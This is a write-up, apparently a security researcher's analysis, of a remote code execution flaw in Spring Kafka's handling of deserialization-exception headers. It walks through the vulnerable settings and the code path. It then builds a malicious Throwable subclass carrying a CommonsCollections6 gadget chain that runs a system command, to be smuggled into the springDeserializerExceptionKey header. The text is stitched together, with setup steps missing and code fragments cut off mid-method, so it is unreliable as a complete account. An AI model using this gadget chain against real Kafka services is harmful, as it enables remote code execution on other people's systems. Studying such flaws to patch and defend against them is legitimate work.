According to the description in security bulletin, we can simply attain some critical points resulting in the vulnerability.
Setting the ErrorHandlingDeserializer as a key and/or value in the Kafka record in configuration.
Setting the boolean type properties checkDeserExWhenKeyNull and/or checkDeserExWhenValueNull to true.
The users can publish a Kafka topic without any verification.
0x02 Concepts of Kafka
Before deeply diving into the vulnerability, we promptly review some relevant concepts of the Kafka service.
Producer:we call the object for publishing record Kafka topic producer
Topic:The records are classified by the Kafka service, and each classification is named Topic.
Broker:The published messages are stored in a group of servers, we call it Kafka cluster. Each of the server is a Broker. The consumer can attain the data form Broker and consume more than one topic.
Consumer:The object which is used to subscribe message and handle with the published message is called Kafka topi consumer. The consumption messages are topic based.
Moreover,it is necessary to review the structure of Kafka record.
Kafka Record, we also call it Message or Event consisting of Header and Body. The header data virtually equals to Metadata including the basic elements like Topic, Patition and Timestamp. They are stored as a pair of key/value. The body data usually are the relevant business data stored as key/value constructure as well.
Preparation
Zookeeper server is required before deploying Kafka service.
1.Installing Zookeeper server by docker
1
docker run -d --name zookeeper -p 2181:2181 -t zookeeper:latest
byte[] excepetionMessage = new byte[hexString.length() / 2]; for (int i = 0; i < excepetionMessage.length; i++) { excepetionMessage[i] = (byte) Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16);
} return excepetionMessage; } }
By the way, here we use a type of design pattern in Java Language, Template Method Pattern. In this demonstration, I insert a template named kafkaTemplate.
@Bean public ConsumerFactory<String, String> consumerFactory() { return new DefaultKafkaConsumerFactory<>(consumerConfigs()); }
@Bean public ConcurrentKafkaListenerContainerFactory<String, String> kafkaListenerContainerFactory() { ConcurrentKafkaListenerContainerFactory<String, String> factory = new ConcurrentKafkaListenerContainerFactory<>(); factory.setConsumerFactory(consumerFactory()); factory.getContainerProperties().setCheckDeserExWhenKeyNull(true); factory.getContainerProperties().setCheckDeserExWhenValueNull(true); return factory; } }
In acordance with the vulnerablity description in official bulletin, we should set both the checkDeserExWhenKeyNull and checkDeserExWhenValueNull properties to true.
Se the breakpoint at the getExceptionFromHeader function and then have the server start.
Step into invokeIfHaveRecords function, the record object will be deserialized.
Back to the getExceptionFromHeader function.
This function makes the value springDeserializerExceptionKey of record.headers() into the the value of the variables headerName and be delivered header.
And then deliver the value to byteArrayToDeserializationException function.
Step into byteArrayToDeserializationException function.
The resolveClass function is overrided to restrain arbitrary Java class deserialization. Actually, we can find the way of preventing Java deserialization vulnerability in many projects, like Apache Shiro, Fastjson.
Apparently, only the class org.springframework.kafka.support.serializer.DeserializationException can be deserialized.
Step into DeserializationException function, it consists four arguments. One of them is cause which is used to invoke instantial class.
Write a malicious class and make it inherit the parent class Throwable.
Eventually, fill the value of the springDeserializerExceptionKey key in JSON data with the generated Java serialization. The remote code execution is trigged after sending the HTTP request.
In addition, we could exploit CommonsCollections gadget as well. Thus, the malicious class could be constructed as follow.
public class CustomExceptionClass extends Throwable {
// CommonCollection6 Gadget in Static Code Block
static { Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}) };
Map<String, String> innerMap= new HashMap<>(); innerMap.put("key","value");
Map<String, String> outerMap = TransformedMap.decorate( innerMap, null, new ChainedTransformer(transformers));